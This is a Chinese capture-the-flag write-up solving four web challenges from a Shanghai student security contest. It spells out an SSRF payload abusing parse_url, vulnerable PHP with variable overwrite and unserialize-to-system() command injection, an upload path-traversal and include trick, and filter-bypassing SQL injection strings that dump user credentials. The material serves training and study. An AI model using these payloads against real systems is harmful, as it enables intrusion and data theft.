第四届上海市大学生网络安全大赛-web

昨天打了第四届上海市大学生网络安全大赛,这里记录下四道web的解题过程。

web1

题目描述:what are you doing?
这题说实话比较脑洞。。
进来之后,页面没什么东西,注释有提示enter description hererobots.txtenter description hereflag.php应该是放flag的,直接看source.php有什么enter description here还是注释有提示,根据注释,添加header:X-Client-IP:127.0.0.1以及post admin=1就可以看到下一步关键提示enter description here按照提示post过去enter description here给了一个图片的链接,访问一下发现是没东西的enter description here一开始以为是要拼速度啥的,写了脚本,发现不是。回头再来看有没有被遗漏的点。发现url这个参数的解析符合parse_url的特征enter description here可以看这篇文章parse_url的特性讲解。从而想到有可能是SSRF,尝试一波enter description here这里要想一下回显可能在哪里,自然地想到很可能就是在图片那了。访问图片,发现确实打到了东西enter description here然后直接构造url=file://@www.ichunqiu.com/var/www/html/flag.php,再访问图片即可读到flag。enter description here

web2

题目描述:Can you hack me?
进来之后同样是一个没东西的页面enter description here这次注释也没东西,那么直接扫一波目录,发现有.index.php.swp,下载下来,用vim -r复原enter description here所有代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

}

$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==='give'){
if($bbb==='me'){
if($ccc==='flag'){
echo "<br>welcome</br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else{
echo "<br>think about it</br>";
}
}
else{
echo "no";
}
}
else{
echo "can you hack me?";
}
?>

前面是一个类的声明,然后看这个部分enter description here它只能进行一次变量覆盖,我们看后面的代码,有一个parse_str,那时候再进行其它变量的覆盖也不迟,所以这里首先处理$first,传入first=doller,然后是一个parse_str,只需要把想改变值的变量传进a就可以了,注意&要进行url编码,最终到达内层的payloadfirst=doller&a=var=give%26bbb=me%26ccc=flagenter description here然后就是一个反序列化,我们来看看这个类enter description here首先可以看到,__wakeup()里面对$args进行了一个foreach的操作,每个$v都要进行waf(trim($v))的处理,这里很明显,$args得是一个数组。
然后再看,waf函数禁用了一些东西,但是好像本来就没打算用得上,还把flag替换为空,简单双写即可绕过。
再看echo函数,调用了system(),而且参数可控,明显可以命令注入。
最后看__destruct,这里限定了传进去的$method只能是echo,然后用echo函数对$args数组进行处理。
所以,我们可以这么构造enter description here然后传入enter description here再构造一次,读flag即可enter description hereenter description here

web3

题目描述:GOOD JOB
代码审计题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}

这题刚拿到手,还以为是今年HITCON的one-line-php-challenge的升级版,吓得我都打开了各种wp待命,后面仔细看了才发现其实没啥关系。首先我们需要绕过这个enter description here这个东西,记性好的一秒钟就想到网鼎杯的那道上传题了,这里也一样,用数组即可绕过enter description here然后再看下面的部分enter description here这两行代码首先把文件名拼接,然后上传,这里通过构造拼接的文件名为../../../../../../tmp/comrade.php就可以把文件传到/tmp目录下。再看下面enter description here这里首先限定了上传的文件开头6位必须是@<?php,我们知道这文件内容现在是完全可控的,并没有什么实现难度,然后要求$_中不能有$new_name,这个也没什么难度。然后就include($_)
我们知道,可以把文件传到/tmp目录下,然后这里$_又是可控的,事情就变得很简单了。像这样构造数据包enter description here然后,读flag。enter description here

some tricks

这里要注意的是,move_uploaded_file本身是有一定的容错性的,我把new_name打印出来看看:enter description here在这个例子里,可以看到,new_name后面可以接若干个/.,最前面的...../可以用若干个.,而unlink的时候,文件名后面有/.是不行的~所以有时候可以躲过unlink,这题也可以,比如说不目录穿越,文件名后面加个/.,然后unlink失败,直接爆破include

web4

题目描述:GOOD LUCK.

SQL注入

进来之后有一个id输入框,还有个登录框enter description here第一时间测测SQL注入,发现id是存在注入的。id=sd' or 1#:enter description hereid=sd' or 0#:enter description here这里有个值得注意的地方,就是这句$content=str_replace($value,"",$content),很明显它在提示我们,后台很有可能把某些关键词替换为空了。fuzz一下,发现load_fileunioninformation_schema.???(手动测的)系列都被ban了enter description here想了一下,觉得首先要找到它把什么替换为空了才能突破。进行了漫长的测试后,发现fromselect都被替换为空。id=sd' or (selselectect 1)#:enter description hereid=sd' or (selselectect 1 fromfromfrom)#:enter description here知道了这两个词被替换为空,那么能不能把他们插入到被ban的关键词中,从而实现绕过呢?id=unifromon:enter description here没有报get out hacker!!,说明是可以的。然后进行注入,发现这是令人愉悦的有回显的注入(其实是后面才想起来,一开始完全就是当布尔盲注做的)
id=sd' unifromon selselectect (seselectlect database()),2#:enter description hereid=sd' unifromon selselectect (seselectlect group_concat(table_name)frfromom information_schemafrom.tables where table_schema='web'),2#:enter description hereid=sd' unifromon selselectect (seselectlect group_concat(column_name)frfromom information_schemafrom.columns where table_name='user' and table_schema='web'),2#:enter description hereid=sd' unifromon selselectect (seselectlect group_concat(username,':',password)frfromom web.user),2#:enter description here注出admin的密码的md5,拿去解密enter description here然后登录

“文件上传”

登录进来之后看到一个文件上传的表单enter description here尝试传点东西,发现不能直接传php,看看数据包enter description here发现无论传过去的文件名是什么,后台都会在最后面加个.txt,而且提示说要upload to ./flag.php,而且这是个假的上传,访问返回的链接是没有东西的。这里首先发现,最终的文件名是uploaddirfileField的文件名共同组成的,两者配合可以弄出一个php的后缀。enter description here剩下的问题就只有如何去掉这个.txt,第一感觉当然就是截断了,尝试了#,00截断都不行。卡住了好久好久,甚至回到sql注入那里看看能不能load_file读读后台到底是怎么写的,但是不行。最后还是觉得要截断,试了几个常见的,%0a,%09,都不行,实在是没办法了,打算把不可见字符都试一遍,试到%02的时候,成了。??enter description here